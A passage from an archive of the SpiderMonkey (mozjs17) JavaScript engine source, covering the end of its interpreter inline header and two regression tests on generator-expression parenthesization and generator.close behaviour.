(fp->isFunctionFrame()) { if (fp->fun()->inStrictMode() || fp->fun()->isSelfHostedBuiltin()) return true; /* * Eval function frames have their own |this| slot, which is a copy of the function's * |this| slot. If we lazily wrap a primitive |this| in an eval function frame, the * eval's frame will get the wrapper, but the function's frame will not. To prevent * this, we always wrap a function's |this| before pushing an eval frame, and should * thus never see an unwrapped primitive in a non-strict eval function frame. */ JS_ASSERT(!fp->isEvalFrame()); } return BoxNonStrictThis(cx, fp->callReceiver()); } /* * Every possible consumer of MagicValue(JS_OPTIMIZED_ARGUMENTS) (as determined * by ScriptAnalysis::needsArgsObj) must check for these magic values and, when * one is received, act as if the value were the function's ArgumentsObject. * Additionally, it is possible that, after 'arguments' was copied into a * temporary, the arguments object has been created a some other failed guard * that called JSScript::argumentsOptimizationFailed. In this case, it is * always valid (and necessary) to replace JS_OPTIMIZED_ARGUMENTS with the real * arguments object. */ static inline bool IsOptimizedArguments(StackFrame *fp, Value *vp) { if (vp->isMagic(JS_OPTIMIZED_ARGUMENTS) && fp->script()->needsArgsObj()) *vp = ObjectValue(fp->argsObj()); return vp->isMagic(JS_OPTIMIZED_ARGUMENTS); } /* * One optimized consumer of MagicValue(JS_OPTIMIZED_ARGUMENTS) is f.apply. * However, this speculation must be guarded before calling 'apply' in case it * is not the builtin Function.prototype.apply. */ static inline bool GuardFunApplyArgumentsOptimization(JSContext *cx) { FrameRegs ®s = cx->regs(); if (IsOptimizedArguments(regs.fp(), ®s.sp[-1])) { CallArgs args = CallArgsFromSp(GET_ARGC(regs.pc), regs.sp); if (!IsNativeFunction(args.calleev(), js_fun_apply)) { if (!JSScript::argumentsOptimizationFailed(cx, regs.fp()->script())) return false; regs.sp[-1] = ObjectValue(regs.fp()->argsObj()); } } return true; } /* * Return an object on which we should look for the properties of |value|. * This helps us implement the custom [[Get]] method that ES5's GetValue * algorithm uses for primitive values, without actually constructing the * temporary object that the specification does. * * For objects, return the object itself. For string, boolean, and number * primitive values, return the appropriate constructor's prototype. For * undefined and null, throw an error and return NULL, attributing the * problem to the value at |spindex| on the stack. */ JS_ALWAYS_INLINE JSObject * ValuePropertyBearer(JSContext *cx, StackFrame *fp, HandleValue v, int spindex) { if (v.isObject()) return &v.toObject(); GlobalObject &global = fp->global(); if (v.isString()) return global.getOrCreateStringPrototype(cx); if (v.isNumber()) return global.getOrCreateNumberPrototype(cx); if (v.isBoolean()) return global.getOrCreateBooleanPrototype(cx); JS_ASSERT(v.isNull() || v.isUndefined()); js_ReportIsNullOrUndefined(cx, spindex, v, NullPtr()); return NULL; } inline bool NativeGet(JSContext *cx, Handle obj, Handle pobj, Shape *shape, unsigned getHow, Value *vp) { if (shape->isDataDescriptor() && shape->hasDefaultGetter()) { /* Fast path for Object instance properties. */ JS_ASSERT(shape->hasSlot()); *vp = pobj->nativeGetSlot(shape->slot()); } else { if (!js_NativeGet(cx, obj, pobj, shape, getHow, vp)) return false; } return true; } #if defined(DEBUG) && !defined(JS_THREADSAFE) && !defined(JSGC_ROOT_ANALYSIS) extern void AssertValidPropertyCacheHit(JSContext *cx, JSObject *start, JSObject *found, PropertyCacheEntry *entry); #else inline void AssertValidPropertyCacheHit(JSContext *cx, JSObject *start, JSObject *found, PropertyCacheEntry *entry) {} #endif inline bool GetPropertyGenericMaybeCallXML(JSContext *cx, JSOp op, HandleObject obj, HandleId id, MutableHandleValue vp) { /* * Various XML properties behave differently when accessed in a * call vs. normal context, and getGeneric will not work right. */ #if JS_HAS_XML_SUPPORT if (op == JSOP_CALLPROP && obj->isXML()) return js_GetXMLMethod(cx, obj, id, vp); #endif return JSObject::getGeneric(cx, obj, obj, id, vp); } inline bool GetPropertyOperation(JSContext *cx, jsbytecode *pc, MutableHandleValue lval, MutableHandleValue vp) { JS_ASSERT(vp.address() != lval.address()); JSOp op = JSOp(*pc); if (op == JSOP_LENGTH) { /* Optimize length accesses on strings, arrays, and arguments. */ if (lval.isString()) { vp.setInt32(lval.toString()->length()); return true; } if (IsOptimizedArguments(cx->fp(), lval.address())) { vp.setInt32(cx->fp()->numActualArgs()); return true; } if (lval.isObject()) { JSObject *obj = &lval.toObject(); if (obj->isArray()) { uint32_t length = obj->getArrayLength(); vp.setNumber(length); return true; } if (obj->isArguments()) { ArgumentsObject *argsobj = &obj->asArguments(); if (!argsobj->hasOverriddenLength()) { uint32_t length = argsobj->initialLength(); JS_ASSERT(length < INT32_MAX); vp.setInt32(int32_t(length)); return true; } } if (obj->isTypedArray()) { vp.setInt32(TypedArray::length(obj)); return true; } } } RootedObject obj(cx, ToObjectFromStack(cx, lval)); if (!obj) return false; PropertyCacheEntry *entry; Rooted obj2(cx); PropertyName *name; JS_PROPERTY_CACHE(cx).test(cx, pc, obj.get(), obj2.get(), entry, name); if (!name) { AssertValidPropertyCacheHit(cx, obj, obj2, entry); if (!NativeGet(cx, obj, obj2, entry->prop, JSGET_CACHE_RESULT, vp.address())) return false; return true; } RootedId id(cx, NameToId(name)); if (obj->getOps()->getProperty) { if (!GetPropertyGenericMaybeCallXML(cx, op, obj, id, vp)) return false; } else { if (!GetPropertyHelper(cx, obj, id, JSGET_CACHE_RESULT, vp)) return false; } #if JS_HAS_NO_SUCH_METHOD if (op == JSOP_CALLPROP && JS_UNLIKELY(vp.isPrimitive()) && lval.isObject()) { if (!OnUnknownMethod(cx, obj, IdToValue(id), vp)) return false; } #endif return true; } inline bool SetPropertyOperation(JSContext *cx, jsbytecode *pc, HandleValue lval, HandleValue rval) { JS_ASSERT(*pc == JSOP_SETPROP); RootedObject obj(cx, ToObjectFromStack(cx, lval)); if (!obj) return false; PropertyCacheEntry *entry; JSObject *obj2; PropertyName *name; if (JS_PROPERTY_CACHE(cx).testForSet(cx, pc, obj, &entry, &obj2, &name)) { /* * Property cache hit, only partially confirmed by testForSet. We * know that the entry applies to regs.pc and that obj's shape * matches. * * The entry predicts a set either an existing "own" property, or * on a prototype property that has a setter. */ Shape *shape = entry->prop; JS_ASSERT_IF(shape->isDataDescriptor(), shape->writable()); JS_ASSERT_IF(shape->hasSlot(), entry->isOwnPropertyHit()); if (entry->isOwnPropertyHit() || ((obj2 = obj->getProto()) && obj2->lastProperty() == entry->pshape)) { #ifdef DEBUG if (entry->isOwnPropertyHit()) { JS_ASSERT(obj->nativeLookupNoAllocation(shape->propid()) == shape); } else { JS_ASSERT(obj2->nativeLookupNoAllocation(shape->propid()) == shape); JS_ASSERT(entry->isPrototypePropertyHit()); JS_ASSERT(entry->kshape != entry->pshape); JS_ASSERT(!shape->hasSlot()); } #endif if (shape->hasDefaultSetter() && shape->hasSlot()) { /* Fast path for, e.g., plain Object instance properties. */ obj->nativeSetSlotWithType(cx, shape, rval); } else { RootedValue rref(cx, rval); bool strict = cx->stack.currentScript()->strictModeCode; if (!js_NativeSet(cx, obj, obj, shape, false, strict, rref.address())) return false; } return true; } GET_NAME_FROM_BYTECODE(cx->stack.currentScript(), pc, 0, name); } bool strict = cx->stack.currentScript()->strictModeCode; RootedValue rref(cx, rval); RootedId id(cx, NameToId(name)); if (JS_LIKELY(!obj->getOps()->setProperty)) { if (!baseops::SetPropertyHelper(cx, obj, obj, id, DNP_CACHE_RESULT, &rref, strict)) return false; } else { if (!JSObject::setGeneric(cx, obj, obj, id, &rref, strict)) return false; } return true; } inline bool IntrinsicNameOperation(JSContext *cx, JSScript *script, jsbytecode *pc, Value *vp) { JSOp op = JSOp(*pc); RootedPropertyName name(cx); name = GetNameFromBytecode(cx, script, pc, op); cx->global()->getIntrinsicValue(cx, name, vp); return true; } inline bool NameOperation(JSContext *cx, JSScript *script, jsbytecode *pc, Value *vp) { RootedPropertyName name(cx, script->getName(pc)); /* * Skip along the scope chain to the enclosing global object. This is used * for GNAME opcodes where the bytecode emitter has determined a name * access must be on the global. It also insulates us from the debugger * adding unexpected properties to scopes on the scope chain: type * inference will assume that GNAME opcodes are accessing the global * object, and the inferred behavior should match the actual behavior even * if the id could be found on the scope chain before the global object. */ HandleObject scopeChain = IsGlobalOp(JSOp(*pc)) ? cx->global() : cx->fp()->scopeChain(); /* * obj->getProperty will return 'undefined' for a missing property. Except * for the 'typeof foo' kludge mentioned below, we need to report a * ReferenceError when a name lookup misses. Thus, we manually perform the * lookup and inspect the results. */ RootedObject scope(cx), pobj(cx); RootedShape shape(cx); if (!LookupName(cx, name, scopeChain, &scope, &pobj, &shape)) return false; if (!shape) { /* Kludge to allow (typeof foo == "undefined") tests. */ JSOp op2 = JSOp(pc[JSOP_NAME_LENGTH]); if (op2 == JSOP_TYPEOF) { vp->setUndefined(); return true; } JSAutoByteString printable; if (js_AtomToPrintableString(cx, name, &printable)) js_ReportIsNotDefined(cx, printable.ptr()); return false; } /* Take the slow path if the property was not found on a native object. */ if (!scope->isNative() || !pobj->isNative()) { RootedId id(cx, NameToId(name)); RootedValue value(cx); if (!JSObject::getGeneric(cx, scope, scope, id, &value)) return false; *vp = value; } else { RootedObject normalized(cx, scope); if (normalized->getClass() == &WithClass && !shape->hasDefaultGetter()) normalized = &normalized->asWith().object(); if (!NativeGet(cx, normalized, pobj, shape, 0, vp)) return false; } return true; } inline bool SetNameOperation(JSContext *cx, JSScript *script, jsbytecode *pc, HandleObject scope, HandleValue val) { JS_ASSERT(*pc == JSOP_SETNAME || *pc == JSOP_SETGNAME); JS_ASSERT_IF(*pc == JSOP_SETGNAME, scope == cx->global()); bool strict = script->strictModeCode; RootedPropertyName name(cx, script->getName(pc)); RootedValue valCopy(cx, val); /* * In strict-mode, we need to trigger an error when trying to assign to an * undeclared global variable. To do this, we call SetPropertyHelper * directly and pass DNP_UNQUALIFIED. */ if (scope->isGlobal()) { JS_ASSERT(!scope->getOps()->setProperty); RootedId id(cx, NameToId(name)); return baseops::SetPropertyHelper(cx, scope, scope, id, DNP_UNQUALIFIED, &valCopy, strict); } return JSObject::setProperty(cx, scope, scope, name, &valCopy, strict); } inline bool DefVarOrConstOperation(JSContext *cx, HandleObject varobj, HandlePropertyName dn, unsigned attrs) { JS_ASSERT(varobj->isVarObj()); JS_ASSERT(!varobj->getOps()->defineProperty || varobj->isDebugScope()); RootedShape prop(cx); RootedObject obj2(cx); if (!JSObject::lookupProperty(cx, varobj, dn, &obj2, &prop)) return false; /* Steps 8c, 8d. */ if (!prop || (obj2 != varobj && varobj->isGlobal())) { RootedValue value(cx, UndefinedValue()); if (!JSObject::defineProperty(cx, varobj, dn, value, JS_PropertyStub, JS_StrictPropertyStub, attrs)) { return false; } } else { /* * Extension: ordinarily we'd be done here -- but for |const|. If we * see a redeclaration that's |const|, we consider it a conflict. */ unsigned oldAttrs; if (!JSObject::getPropertyAttributes(cx, varobj, dn, &oldAttrs)) return false; if (attrs & JSPROP_READONLY) { JSAutoByteString bytes; if (js_AtomToPrintableString(cx, dn, &bytes)) { JS_ALWAYS_FALSE(JS_ReportErrorFlagsAndNumber(cx, JSREPORT_ERROR, js_GetErrorMessage, NULL, JSMSG_REDECLARED_VAR, (oldAttrs & JSPROP_READONLY) ? "const" : "var", bytes.ptr())); } return false; } } return true; } inline void InterpreterFrames::enableInterruptsIfRunning(JSScript *script) { if (script == regs->fp()->script()) enabler.enable(); } static JS_ALWAYS_INLINE bool AddOperation(JSContext *cx, const Value &lhs, const Value &rhs, Value *res) { if (lhs.isInt32() && rhs.isInt32()) { int32_t l = lhs.toInt32(), r = rhs.toInt32(); int32_t sum = l + r; if (JS_UNLIKELY(bool((l ^ sum) & (r ^ sum) & 0x80000000))) { res->setDouble(double(l) + double(r)); types::TypeScript::MonitorOverflow(cx); } else { res->setInt32(sum); } } else #if JS_HAS_XML_SUPPORT if (IsXML(lhs) && IsXML(rhs)) { if (!js_ConcatenateXML(cx, &lhs.toObject(), &rhs.toObject(), res)) return false; types::TypeScript::MonitorUnknown(cx); } else #endif { RootedValue lval(cx, lhs); RootedValue rval(cx, rhs); /* * If either operand is an object, any non-integer result must be * reported to inference. */ bool lIsObject = lval.isObject(), rIsObject = rval.isObject(); if (!ToPrimitive(cx, lval.address())) return false; if (!ToPrimitive(cx, rval.address())) return false; bool lIsString, rIsString; if ((lIsString = lval.isString()) | (rIsString = rval.isString())) { RootedString lstr(cx), rstr(cx); if (lIsString) { lstr = lval.toString(); } else { lstr = ToString(cx, lval); if (!lstr) return false; } if (rIsString) { rstr = rval.toString(); } else { rstr = ToString(cx, rval); if (!rstr) return false; } JSString *str = js_ConcatStrings(cx, lstr, rstr); if (!str) return false; if (lIsObject || rIsObject) types::TypeScript::MonitorString(cx); res->setString(str); } else { double l, r; if (!ToNumber(cx, lval, &l) || !ToNumber(cx, rval, &r)) return false; l += r; if (!res->setNumber(l) && (lIsObject || rIsObject || (!lval.isDouble() && !rval.isDouble()))) { types::TypeScript::MonitorOverflow(cx); } } } return true; } static JS_ALWAYS_INLINE bool SubOperation(JSContext *cx, HandleValue lhs, HandleValue rhs, Value *res) { double d1, d2; if (!ToNumber(cx, lhs, &d1) || !ToNumber(cx, rhs, &d2)) return false; double d = d1 - d2; if (!res->setNumber(d) && !(lhs.isDouble() || rhs.isDouble())) types::TypeScript::MonitorOverflow(cx); return true; } static JS_ALWAYS_INLINE bool MulOperation(JSContext *cx, HandleValue lhs, HandleValue rhs, Value *res) { double d1, d2; if (!ToNumber(cx, lhs, &d1) || !ToNumber(cx, rhs, &d2)) return false; double d = d1 * d2; if (!res->setNumber(d) && !(lhs.isDouble() || rhs.isDouble())) types::TypeScript::MonitorOverflow(cx); return true; } static JS_ALWAYS_INLINE bool DivOperation(JSContext *cx, HandleValue lhs, HandleValue rhs, Value *res) { double d1, d2; if (!ToNumber(cx, lhs, &d1) || !ToNumber(cx, rhs, &d2)) return false; res->setNumber(NumberDiv(d1, d2)); if (d2 == 0 || (res->isDouble() && !(lhs.isDouble() || rhs.isDouble()))) types::TypeScript::MonitorOverflow(cx); return true; } static JS_ALWAYS_INLINE bool ModOperation(JSContext *cx, HandleValue lhs, HandleValue rhs, Value *res) { int32_t l, r; if (lhs.isInt32() && rhs.isInt32() && (l = lhs.toInt32()) >= 0 && (r = rhs.toInt32()) > 0) { int32_t mod = l % r; res->setInt32(mod); return true; } double d1, d2; if (!ToNumber(cx, lhs, &d1) || !ToNumber(cx, rhs, &d2)) return false; if (d2 == 0) res->setDouble(js_NaN); else res->setDouble(js_fmod(d1, d2)); types::TypeScript::MonitorOverflow(cx); return true; } static inline bool FetchElementId(JSContext *cx, JSObject *obj, const Value &idval, jsid *idp, MutableHandleValue vp) { int32_t i_; if (ValueFitsInInt32(idval, &i_) && INT_FITS_IN_JSID(i_)) { *idp = INT_TO_JSID(i_); return true; } return !!InternNonIntElementId(cx, obj, idval, idp, vp); } static JS_ALWAYS_INLINE bool ToIdOperation(JSContext *cx, HandleValue objval, HandleValue idval, MutableHandleValue res) { if (idval.isInt32()) { res.set(idval); return true; } JSObject *obj = ToObjectFromStack(cx, objval); if (!obj) return false; jsid dummy; if (!InternNonIntElementId(cx, obj, idval, &dummy, res)) return false; if (!res.isInt32()) types::TypeScript::MonitorUnknown(cx); return true; } static JS_ALWAYS_INLINE bool GetObjectElementOperation(JSContext *cx, JSOp op, HandleObject obj, const Value &rref, MutableHandleValue res) { #if JS_HAS_XML_SUPPORT if (op == JSOP_CALLELEM && JS_UNLIKELY(obj->isXML())) { jsid id; if (!FetchElementId(cx, obj, rref, &id, res)) return false; return js_GetXMLMethod(cx, obj, id, res); } #endif uint32_t index; if (IsDefinitelyIndex(rref, &index)) { do { if (obj->isDenseArray()) { if (index < obj->getDenseArrayInitializedLength()) { res.set(obj->getDenseArrayElement(index)); if (!res.isMagic()) break; } } else if (obj->isArguments()) { if (obj->asArguments().maybeGetElement(index, res)) break; } if (!JSObject::getElement(cx, obj, obj, index, res)) return false; } while(0); } else { JSScript *script; jsbytecode *pc; types::TypeScript::GetPcScript(cx, &script, &pc); if (script->hasAnalysis()) script->analysis()->getCode(pc).getStringElement = true; SpecialId special; res.set(rref); if (ValueIsSpecial(obj, res, &special, cx)) { if (!JSObject::getSpecial(cx, obj, obj, special, res)) return false; } else { JSAtom *name = ToAtom(cx, res); if (!name) return false; if (name->isIndex(&index)) { if (!JSObject::getElement(cx, obj, obj, index, res)) return false; } else { if (!JSObject::getProperty(cx, obj, obj, name->asPropertyName(), res)) return false; } } } assertSameCompartment(cx, res); return true; } static JS_ALWAYS_INLINE bool GetElementOperation(JSContext *cx, JSOp op, MutableHandleValue lref, HandleValue rref, MutableHandleValue res) { JS_ASSERT(op == JSOP_GETELEM || op == JSOP_CALLELEM); if (lref.isString() && rref.isInt32()) { JSString *str = lref.toString(); int32_t i = rref.toInt32(); if (size_t(i) < str->length()) { str = cx->runtime->staticStrings.getUnitStringForElement(cx, str, size_t(i)); if (!str) return false; res.setString(str); return true; } } StackFrame *fp = cx->fp(); if (IsOptimizedArguments(fp, lref.address())) { if (rref.isInt32()) { int32_t i = rref.toInt32(); if (i >= 0 && uint32_t(i) < fp->numActualArgs()) { res.set(fp->unaliasedActual(i)); return true; } } if (!JSScript::argumentsOptimizationFailed(cx, fp->script())) return false; lref.set(ObjectValue(fp->argsObj())); } bool isObject = lref.isObject(); RootedObject obj(cx, ToObjectFromStack(cx, lref)); if (!obj) return false; if (!GetObjectElementOperation(cx, op, obj, rref, res)) return false; #if JS_HAS_NO_SUCH_METHOD if (op == JSOP_CALLELEM && JS_UNLIKELY(res.isPrimitive()) && isObject) { if (!OnUnknownMethod(cx, obj, rref, res)) return false; } #endif return true; } static JS_ALWAYS_INLINE bool SetObjectElementOperation(JSContext *cx, Handle obj, HandleId id, const Value &value, bool strict) { types::TypeScript::MonitorAssign(cx, obj, id); do { if (obj->isDenseArray() && JSID_IS_INT(id)) { uint32_t length = obj->getDenseArrayInitializedLength(); int32_t i = JSID_TO_INT(id); if ((uint32_t)i < length) { if (obj->getDenseArrayElement(i).isMagic(JS_ARRAY_HOLE)) { if (js_PrototypeHasIndexedProperties(cx, obj)) break; if ((uint32_t)i >= obj->getArrayLength()) obj->setArrayLength(cx, i + 1); } obj->setDenseArrayElementWithType(cx, i, value); return true; } else { JSScript *script; jsbytecode *pc; types::TypeScript::GetPcScript(cx, &script, &pc); if (script->hasAnalysis()) script->analysis()->getCode(pc).arrayWriteHole = true; } } } while (0); RootedValue tmp(cx, value); return JSObject::setGeneric(cx, obj, obj, id, &tmp, strict); } #define RELATIONAL_OP(OP) \ JS_BEGIN_MACRO \ RootedValue lvalRoot(cx, lhs), rvalRoot(cx, rhs); \ Value &lval = lvalRoot.get(); \ Value &rval = rvalRoot.get(); \ /* Optimize for two int-tagged operands (typical loop control). */ \ if (lval.isInt32() && rval.isInt32()) { \ *res = lval.toInt32() OP rval.toInt32(); \ } else { \ if (!ToPrimitive(cx, JSTYPE_NUMBER, &lval)) \ return false; \ if (!ToPrimitive(cx, JSTYPE_NUMBER, &rval)) \ return false; \ if (lval.isString() && rval.isString()) { \ JSString *l = lval.toString(), *r = rval.toString(); \ int32_t result; \ if (!CompareStrings(cx, l, r, &result)) \ return false; \ *res = result OP 0; \ } else { \ double l, r; \ if (!ToNumber(cx, lval, &l) || !ToNumber(cx, rval, &r)) \ return false;; \ *res = (l OP r); \ } \ } \ return true; \ JS_END_MACRO static JS_ALWAYS_INLINE bool LessThanOperation(JSContext *cx, const Value &lhs, const Value &rhs, bool *res) { RELATIONAL_OP(<); } static JS_ALWAYS_INLINE bool LessThanOrEqualOperation(JSContext *cx, const Value &lhs, const Value &rhs, bool *res) { RELATIONAL_OP(<=); } static JS_ALWAYS_INLINE bool GreaterThanOperation(JSContext *cx, const Value &lhs, const Value &rhs, bool *res) { RELATIONAL_OP(>); } static JS_ALWAYS_INLINE bool GreaterThanOrEqualOperation(JSContext *cx, const Value &lhs, const Value &rhs, bool *res) { RELATIONAL_OP(>=); } #undef RELATIONAL_OP } /* namespace js */ #endif /* jsinterpinlines_h__ */ mozjs17.0.0/js/src/tests/0000775000175000017500000000000012106270663015146 5ustar sstanglsstanglmozjs17.0.0/js/src/tests/js1_8/0000775000175000017500000000000012106270663016072 5ustar sstanglsstanglmozjs17.0.0/js/src/tests/js1_8/genexps/0000775000175000017500000000000012106270663017543 5ustar sstanglsstanglmozjs17.0.0/js/src/tests/js1_8/genexps/regress-380237-04.js0000664000175000017500000002107612106270663022546 0ustar sstanglsstangl// |reftest| skip -- obsolete test, need to remove minor failures to reenable. /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 380237; var summary = 'Generator expressions parenthesization test'; var actual = ''; var expect = ''; /* Given that parentheization seems so fragile *and* the rules for where genexps are allowed keep changing, I thought it would be good to have a way to test that: 1) unparenthesized genexps are allowed in some places and the decompilation is sane and not over-parenthesized 2) unparenthesized genexps are disallowed in many places and when there are parens, the decompilation is sane and not over-parenthesized */ // |genexp| must have the exact same whitespace the decompiler uses genexp = "x * x for (x in [])"; genexpParened = "(" + genexp + ")"; genexpParenedTwice = "(" + genexpParened + ")"; // Warning: be careful not to put [] around stuff, because that would // cause it to be treated as an array comprehension instead of a // generator expression! // Statements doesNotNeedParens(1, "if (xx) { }"); needParens(2, "if (1, xx) { }"); needParens(3, "if (xx, 1) { }"); doesNotNeedParens(4, "do { } while (xx);"); doesNotNeedParens(5, "while (xx) { }"); doesNotNeedParens(6, "switch (xx) { }"); doesNotNeedParens(7, "with (xx) { }"); needParens(8, "switch (x) { case xx: }"); needParens(9, "return xx;"); needParens(10, "yield xx;"); needParens(11, "for (xx;;) { }"); needParens(12, "for (;xx;) { }", "function anonymous() {\n for (;;) {\n }\n}"); needParens(13, "for (;;xx) { }"); needParens(14, "for (i in xx) { }"); needParens(15, "throw xx"); needParens(16, "try { } catch (e if xx) { }"); needParens(17, "let (x=3) xx"); needParens(18, "let (x=xx) 3"); // Function calls doesNotNeedParens(19, "f(xx);"); needParens(20, "f(xx, 1);"); needParens(21, "f(1, xx);"); doesNotNeedParens(22, "/x/(xx);"); needParens(23, "/x/(xx, 1);"); needParens(24, "/x/(1, xx);"); // eval is special and often confuses the decompiler. doesNotNeedParens(25, "eval(xx);"); needParens(26, "eval(xx, 1);"); needParens(27, "eval(1, xx);"); // Expressions needParens(28, "xx;"); // ??? needParens(29, "var g = xx;"); // ??? needParens(30, "g += xx;"); needParens(31, "xx();"); needParens(32, "xx() = 3;"); needParens(33, "a ? xx : c"); needParens(34, "xx ? b : c"); needParens(35, "a ? b : xx"); needParens(36, "1 ? xx : c"); needParens(37, "0 ? b : xx"); needParens(38, "1 + xx"); needParens(39, "xx + 1"); needParens(40, "1, xx"); doesNotNeedParens(41, "+(xx)"); doesNotNeedParens(42, "!(xx)"); needParens(43, "xx, 1"); needParens(44, "[1, xx]"); needParens(45, "[xx, 1]"); needParens(46, "[xx,3]"); needParens(47, "[xx,null]"); needParens(48, "xx.p"); needParens(49, "xx.@p"); needParens(50, "typeof xx;"); needParens(51, "void xx;"); needParens(52, "({ a: xx })"); needParens(53, "({ a: 1, b: xx })"); needParens(54, "({ a: xx, b: 1 })"); needParens(55, "({ a getter: xx })"); needParens(56, ""); doesNotNeedParens(57, "new (xx);"); doesNotNeedParens(58, "new a(xx);"); // Generator expressions cannot be used as LHS, even though they're syntactic // sugar for something that looks a lot like an "lvalue return": (f() = 3). rejectLHS(59, "++ (xx);"); rejectLHS(60, "delete xx;"); rejectLHS(61, "delete (xx);"); rejectLHS(62, "for (xx in []) { }"); rejectLHS(63, "for ((xx) in []) { }"); rejectLHS(64, "try { } catch(xx) { }"); rejectLHS(65, "try { } catch([(xx)]) { }"); rejectLHS(66, "xx += 3;"); rejectLHS(67, "(xx) += 3;"); rejectLHS(68, "xx = 3;"); // Assignment rejectLHS(69, " (xx) = 3;"); rejectLHS(70, "var (xx) = 3;"); rejectLHS(71, "const (xx) = 3;"); rejectLHS(72, "let (xx) = 3;"); // Destructuring assignment rejectLHS(73, " [(xx)] = 3;"); rejectLHS(74, "var [(xx)] = 3;"); rejectLHS(75, "const [(xx)] = 3;"); rejectLHS(76, "let [(xx)] = 3;"); // Group assignment (Spidermonkey optimization for certain // destructuring assignments) rejectLHS(77, " [(xx)] = [3];"); rejectLHS(78, "var [(xx)] = [3];"); rejectLHS(79, "const [(xx)] = [3];"); rejectLHS(80, "let [(xx)] = [3];"); // Destructuring & group assignment for array comprehensions, just for kicks. rejectLHS(81, " [xx] = [3];"); rejectLHS(82, "var [xx] = [3];"); rejectLHS(83, "const [xx] = [3];"); rejectLHS(84, "let [xx] = 3;"); rejectLHS(85, " [xx] = 3;"); rejectLHS(86, "var [xx] = 3;"); rejectLHS(87, "const [xx] = 3;"); rejectLHS(88, "let [xx] = 3;"); // This is crazy, ambiguous, and/or buggy. // See https://bugzilla.mozilla.org/show_bug.cgi?id=380237#c23 et seq. //doesNotNeedParens("(yield xx);"); print("Done!"); function doesNotNeedParens(section, pat) { print("Testing section " + section + " pattern " + pat); var f, ft; sanityCheck(section, pat); expect = 'No Error'; actual = ''; ft = pat.replace(/xx/, genexp); try { f = new Function(ft); actual = 'No Error'; } catch(e) { print("Unparenthesized genexp SHOULD have been accepted here!"); actual = e + ''; } reportCompare(expect, actual, summary + ': doesNotNeedParens section ' + section + ' pattern ' + pat); roundTripTest(section, f); // Make sure the decompilation is not over-parenthesized. var uf = "" + f; if (pat.indexOf("(xx)") != -1) overParenTest(section, f); // else // print("Skipping the over-parenthesization test, because I don't know how to test for over-parenthesization when the pattern doesn't have parens snugly around it.") } function needParens(section, pat, exp) { print("Testing section " + section + " pattern " + pat); var f, ft; sanityCheck(section, pat); expect = 'SyntaxError'; actual = ''; ft = pat.replace(/xx/, genexp); try { f = new Function(ft); print("Unparenthesized genexp should NOT have been accepted here!"); } catch(e) { /* expected to throw */ actual = e.name; } reportCompare(expect, actual, summary + ': needParens section ' + section + ' pattern ' + pat); expect = 'No Error'; actual = ''; ft = pat.replace(/xx/, genexpParened); try { f = new Function(ft); actual = 'No Error'; } catch(e) { print("Yikes!"); actual = e + ''; } reportCompare(expect, actual, summary + ': needParens section ' + section + ' ft ' + ft); roundTripTest(section, f, exp); overParenTest(section, f, exp); } function rejectLHS(section, pat) { print("Testing section " + section + " pattern " + pat); // sanityCheck(pat); // because 'z' should be accepted as an LHS or binding var ft; expect = 'SyntaxError'; actual = ''; ft = pat.replace(/xx/, genexp) try { new Function(ft); print("That should have been a syntax error!"); actual = 'No Error'; } catch(e) { actual = e.name; } reportCompare(expect, actual, summary + ': rejectLHS section ' + section); } function overParenTest(section, f, exp) { var uf = "" + f; if (uf == exp) return; reportCompare(false, uf.indexOf(genexpParened) == -1, summary + ': overParenTest genexp snugly in parentheses: section ' + section + ' uf ' + uf); if (uf.indexOf(genexpParened) != -1) { reportCompare(true, uf.indexOf(genexpParenedTwice) == -1, summary + ': overParensTest decompilation should not be over-parenthesized: section ' + ' uf ' + uf); } } function sanityCheck(section, pat) { expect = ''; actual = ''; if (pat.indexOf("xx") == -1) { actual += "No 'xx' in this pattern? "; } var f, ft; ft = pat.replace(/xx/, "z"); try { f = new Function(ft); } catch(e) { actual += "Yowzers! Probably a bogus test!"; } reportCompare(expect, actual, summary + ': sanityCheck section ' + section + ' pattern ' + pat); } function roundTripTest(section, f, exp) { // Decompile var uf = "" + f; // Recompile expect = 'No Error'; actual = ''; var euf; try { euf = eval("(" + uf + ")"); actual = 'No Error'; reportCompare(expect, actual, summary + ': roundTripTest: section ' + section + ' uf ' + uf); } catch(e) { actual = e + ''; reportCompare(expect, actual, summary + ': roundTripTest: section ' + section + ' uf ' + uf); return; } // Decompile again and make sure the decompilations match exactly. expect = exp || uf; actual = "" + euf; reportCompare(expect, actual, summary + ': roundTripTest no round-trip change: section ' + section); } mozjs17.0.0/js/src/tests/js1_8/genexps/regress-349331.js0000664000175000017500000000440012106270663022315 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 349331; var summary = 'generator.close without GeneratorExit'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); var catch1, catch2, catch3, finally1, finally2, finally3; var iter; function gen() { yield 1; try { try { try { yield 2; } catch (e) { catch1 = true; } finally { finally1 = true; } } catch (e) { catch2 = true; } finally { finally2 = true; } } catch (e) { catch3 = true; } finally { finally3 = true; } } // test explicit close call catch1 = catch2 = catch3 = finally1 = finally2 = finally3 = false; iter = gen(); iter.next(); iter.next(); iter.close(); var passed = !catch1 && !catch2 && !catch3 && finally1 && finally2 && finally3; if (!passed) { print("Failed!"); print("catch1=" + catch1 + " catch2=" + catch2 + " catch3=" + catch3); print("finally1=" + finally1 + " finally2=" + finally2 + " finally3=" + finally3); } reportCompare(true, passed, 'test explicit close call'); // test for-in invoked close catch1 = catch2 = catch3 = finally1 = finally2 = finally3 = false; iter = gen(); for (var i in iter) { if (i == 2) break; } var passed = !catch1 && !catch2 && !catch3 && finally1 && finally2 && finally3; if (!passed) { print("Failed!"); print("catch1=" + catch1 + " catch2=" + catch2 + " catch3=" + catch3); print("finally1=" + finally1 + " finally2=" + finally2 + " finally3="+finally3); } reportCompare(true, passed, 'test GC-invoke close'); reportCompare(expect, actual, summary); exitFunc ('test'); } 